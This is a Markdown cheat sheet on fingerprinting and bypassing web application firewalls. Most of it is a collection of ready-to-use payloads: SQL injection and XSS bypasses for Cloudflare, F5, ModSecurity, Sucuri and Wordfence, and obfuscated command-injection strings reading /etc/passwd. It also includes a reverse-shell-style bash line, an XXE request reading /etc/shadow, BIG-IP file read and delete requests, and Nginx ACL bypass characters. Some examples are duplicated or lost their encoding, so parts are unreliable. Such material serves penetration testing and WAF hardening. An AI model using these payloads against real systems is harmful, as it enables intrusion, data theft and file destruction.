449 lines
16 KiB
Markdown
449 lines
16 KiB
Markdown
# WAF Detection and Bypass
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## Detection Techniques:
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To identify WAFs, we need to (dummy) provoke it.
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1. Make a normal `GET` request from a browser, intercept and record response headers (specifically cookies).
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2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
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3. Make `GET` requests to random open ports and grab banners which might expose the WAFs identity.
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4. On login pages, inject common (easily detectable) payloads like `" or 1 = 1 --`.
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5. Inject noisy payloads like `<script>alert()</script>` into search bars, contact forms and other input fields.
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6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL.
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7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter.
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8. Make GET requests with outdated protocols like `HTTP/0.9` (HTTP/0.9 does not support POST type queries).
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9. Many a times, the WAF varies the Server header upon different types of interactions.
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10. Drop Action Technique - Send a raw crafted `FIN/RST` packet to server and identify response.
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> Tip: This method could be easily achieved with tools like [HPing3](http://www.hping.org/) or [Scapy](https://scapy.net/).
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11. Side Channel Attacks - Examine the timing behaviour of the request and response content.
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> Tip: More details can be found in a [blogpost here](https://0xinfection.github.io/posts/fingerprinting-wafs-side-channel/).
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## WAF Fingerprints
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| WAF | Fingerprints |
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| --- | --- |
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| ArvanCloud | • **Detectability:** Moderate <br> • **Detection:** `Server` header contains `ArvanCloud` keyword. |
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| ASP.NET Generic | • **Detectability:** Easy<br> • **Detection:** Response headers may contain `X-ASPNET-Version` header value.<br> **Blocked response page content may contain:** <br>•`This generic 403 error means that the authenticated user is not authorized to use the requested resource.`<br> •`Error Code 0x00000000<` keyword. |
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| BIG-IP ASM | • **Detectability:** Moderate<br> • **Detection:** <br> Response headers may contain `BigIP` or `F5` keyword value. <br> Response header fields may contain `X-WA-Info` header. <br> Response headers might have jumbled `X-Cnection` field value. |
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| Cloudflare | • **Detectability:** Easy<br> • **Detection:** <br> Response headers might have `cf-ray` field value.<br> `Server` header field has value `cloudflare`.<br> `Set-Cookie` response headers have `__cfuid=` cookie field.<br> Page content might have `Attention Required!` or `Cloudflare Ray ID:`.<br> Page content may contain `DDoS protection by Cloudflareas` text.<br> You may encounter `CLOUDFLARE_ERROR_500S_BOX` upon hitting invalid URLs. |
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| FortiWeb | • **Detectability:** Moderate <br> • **Detection:** <br> Response headers contain `FORTIWAFSID=` on malicious requests. <br> Response headers contain cookie name `cookiesession1=` <br>**Blocked response page contains:** <br> Reference to `.fgd_icon` image icon. <br> `Server Unavailable!` as heading. <br> `Server unavailable. Please visit later.` as text.|
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## Evasion Techniques
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### Fuzzing/Bruteforcing:
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Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
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* Wordlists specifically for fuzzing
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* [Seclists/Fuzzing.](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing)
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* [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack)
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* [Other Payloads](https://github.com/foospidy/payloads)
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**Technique:**
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* Load up your wordlist into fuzzer and start the bruteforce.
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* Record/log all responses from the different payloads fuzzed.
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* Use random user-agents, ranging from Chrome Desktop to iPhone browser.
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* If blocking noticed, increase fuzz latency (eg. 2-4 secs).
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* Always use proxychains, since chances are real that your IP gets blocked.
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### Blacklisting Detection/Bypass
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**SQL Injection**
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```bash
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# Keywords Filtered: and, or, union
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Probable Regex: preg_match('/(and|or|union)/i', $id)
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Blocked Attempt: union select user, password from users
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Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
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# Keywords Filtered: and, or, union, where
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Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
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Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
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# Keywords Filtered: and, or, union, where, limit
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Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
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Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
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# Keywords Filtered: and, or, union
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Probable Regex: preg_match('/(and|or|union)/i', $id)
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Blocked Attempt: union select user, password from users
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Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
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# Keywords Filtered: and, or, union, where
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Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
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Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
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# Keywords Filtered: and, or, union, where, limit
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Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
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Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
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```
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## Obfuscation
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**1. Case Toggling**
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```bash
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# Standard
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<script>alert()</script>
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# Bypassed
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<ScRipT>alert()</sCRipT>
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# Standard
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SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
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# Bypassed
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sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
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```
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**2. URL Encoding**
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```bash
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# Blocked
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<svG/x=">"/oNloaD=confirm()//
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# Bypassed
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%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
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# Blocked
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uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
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# Bypassed
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uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
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```
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**3. Unicode Normalization**
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```bash
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# Standard
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<marquee onstart=prompt()>
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# Obfuscated
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<marquee onstart=\u0070r\u06f\u006dpt()>
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# Blocked
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/?redir=http://google.com
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# Bypassed
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/?redir=http://google。com (Unicode alternative)
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# Blocked
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<marquee loop=1 onfinish=alert()>x
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# Bypassed
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＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode alternative)
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# Standard
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../../etc/passwd
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# Obfuscated
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%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
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```
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**4. HTML Representation**
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```bash
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# Standard
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"><img src=x onerror=confirm()>
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# Encoded
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"><img src=x onerror=confirm()> (General form)
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# Encoded
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"><img src=x onerror=confirm()> (Numeric reference)
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```
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**5. Using Comments**
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```bash
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# Blocked
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<script>alert()</script>
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# Bypassed
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<!--><script>alert/**/()/**/</script>
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# Blocked
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/?id=1+union+select+1,2,3--
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# Bypassed
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/?id=1+un/**/ion+sel/**/ect+1,2,3--
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```
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## Cloudflare
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### XSS Bypass
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```javascript
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<svg onx=() onload=(confirm)(1)>
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<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
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<svg onload=prompt%26%230000000040document.domain)>
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<svg onload=prompt%26%23x000000028;document.domain)>
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xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
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1'"><img/src/onerror=.1|alert``>
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<svg/onload=alert()//
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<a href="j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(this['document']['cookie'])">X</a>`
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<--`<img/src=` onerror=confirm``> --!>
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javascript:{alert`0`}
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<base href=//knoxss.me?
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<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x
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// RCE Payload Detection Bypass
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cat$u+/etc$u/passwd$u
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/bin$u/bash$u <ip> <port>
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";cat+/etc/passwd+#
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```
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## Fortinet Fortiweb
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```bash
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# pcre_expression unvaidated XSS
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/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
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/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0
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# CSP Bypass
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# POST Type Query
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POST /<path>/login-app.aspx HTTP/1.1
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Host: <host>
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User-Agent: <any valid user agent string>
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Accept-Encoding: gzip, deflate
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: <the content length must be at least 2399 bytes>
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var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>
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# GET Type Query
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http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>
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```
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## F5 ASM
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```javascript
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# XSS Bypass
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<table background="javascript:alert(1)"></table>
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"/><marquee onfinish=confirm(123)>a</marquee>
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```
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## F5 BIG-IP
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```javascript
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// XSS Bypass
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<body style="height:1000px" onwheel="[DATA]">
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<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
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<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
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<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
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<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
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<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>
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// report_type XSS
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https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
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//POST Based XXE
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POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
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Host: bigip
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Cookie: BIGIPAuthCookie=*VALID_COOKIE*
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Content-Length: 143
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<?xml version="1.0" encoding='utf-8' ?>
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<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
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<message><dialogueType>&e;</dialogueType></message>
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// Directory Traversal
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// Read Arbitrary File
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/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
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// Delete Arbitrary File
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POST /tmui/Control/form HTTP/1.1
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Host: site.com
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
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Content-Type: application/x-www-form-urlencoded
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_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
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```
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## ModSecurity
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```javascript
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// XSS Bypass for CRS 3.2
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<a href="jav%0Dascript:alert(1)">
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// RCE Payloads Detection Bypass for PL3
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;+$u+cat+/etc$u/passwd$u
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// RCE Payloads Detection Bypass for PL2
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;+$u+cat+/etc$u/passwd+\#
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// RCE Payloads for PL1 and PL2
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/???/??t+/???/??ss??
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// SQLi Bypass
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0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
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1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
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1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
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amUserId=1 union select username,password,3,4 from users
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%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
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1%0bAND(SELECT%0b1%20FROM%20mysql.x)
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%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
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%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
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```
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## Sucuri
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```javascript
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// XSS Bypass (POST Only)
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<a href=javascript:confirm(1)>
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// Smuggling RCE Payloads
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/???/??t+/???/??ss??
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// Obfuscating RCE Payloads
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;+cat+/e'tc/pass'wd
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c\\a\\t+/et\\c/pas\\swd
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// XSS Bypass
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"><input/onauxclick="[1].map(prompt)">
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// XSS Bypass
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data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
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<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
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<input type=submit></form>
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```
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## Wordfence
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```javascript
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// XSS Bypass
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<a href=javascript:alert(1)>
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<a href=javascript:alert(1)>
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// XSS Bypass
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<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:/**/alert()/**/>click
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// HTML Injection
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http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
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// XSS Exploit
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<html>
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<head>
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<title>Wordfence Security XSS exploit (C) 2012 MustLive.
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http://websecurity.com.ua</title>
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</head>
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<body onLoad="document.hack.submit()">
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<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
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<input type="hidden" name="email"
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value="<script>alert(document.cookie)</script>">
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</form>
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</body>
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</html>
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// Other XSS Bypasses
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<meter onmouseover="alert(1)"
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'">><div><meter onmouseover="alert(1)"</div>"
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>><marquee loop=1 width=0 onfinish=alert(1)>
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```
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## Apache Generic
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```javascript
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// Writing method type in lowercase
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get /login HTTP/1.1
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Host: favoritewaf.com
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User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
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```
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## IIS Generic
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```javascript
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// Tabs before method
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GET /login.php HTTP/1.1
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Host: favoritewaf.com
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User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
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```
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# Bypassing Nginx ACL Rules
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Nginx restriction example:
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```bash
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location = /admin {
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deny all;
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}
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location = /admin/ {
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deny all;
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}
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```
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## NodeJS
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* As Nginx includes the character \xa0 as part of the pathname, the ACL rule for the /admin URI will not be triggered. Consequently, Nginx will forward the HTTP message to the backend;
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* When the URI /admin\x0a is received by the Node.js server, the character \xa0 will be removed, allowing successful retrieval of the /admin endpoint.
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| Nginx Version | Node.js Bypass Characters |
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| --- | --- |
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| 1.22.0 | `\xA0` |
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| 1.21.6 | `\xA0` |
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| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
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| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
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| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
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## Flask
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Flask removes the characters `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`, and `\x09` from the URL path, but NGINX doesn't.
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| Nginx Version | Flask Bypass Characters |
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| --- | --- |
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| 1.22.0 | `\x85`, `\xA0` |
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| 1.21.6 | `\x85`, `\xA0` |
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| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
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| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
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| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
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## Spring Boot
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Below, you will find a demonstration of how ACL protection can be circumvented by adding the character \x09 or at the end of the pathname:
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|
||
|
||
|
||
| Nginx Version | Spring Boot Bypass Characters |
|
||
| --- | --- |
|
||
| 1.22.0 | `;` |
|
||
| 1.21.6 | `;` |
|
||
| 1.20.2 | `\x09`, ; |
|
||
| 1.18.0 | `\x09`, `;` |
|
||
| 1.16.1 | `\x09`, `;` |
|
||
|
||
|
||
## PHP-FPM
|
||
Let's consider the following Nginx FPM configuration:
|
||
```bash
|
||
location = /admin.php {
|
||
deny all;
|
||
}
|
||
|
||
location ~ \.php$ {
|
||
include snippets/fastcgi-php.conf;
|
||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||
}
|
||
```
|
||
|
||
It's possible to bypass it accessing /admin.php/index.php:
|
||
|
||
|
||
|
||
|
||
## How to prevent
|
||
To prevent these issues, you must use the ~ expression Instead of the = expression on Nginx ACL rules, for example:
|
||
|
||
COPYCOPY
|
||
|
||
```bash
|
||
location ~* ^/admin {
|
||
deny all;
|
||
}
|
||
```
|
||
|
||
## Bypassing AWS WAF ACL With Line Folding
|
||
It's possible to bypass AWS WAF protection in a HTTP header by using the following syntax where the AWS WAF won't understand X-Query header contains a sql injection payload while the node server behind will:
|
||
|
||
```html
|
||
GET / HTTP/1.1\r\n
|
||
Host: target.com\r\n
|
||
X-Query: Value\r\n
|
||
\t' or '1'='1' -- \r\n
|
||
Connection: close\r\n
|
||
\r\n
|
||
```
|
||
|
||
* [References](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||
|
||
|
||
## Tools
|
||
* [GoTestWAF](https://github.com/wallarm/gotestwaf) - A tool to test a WAF's detection logic and bypasses
|
||
|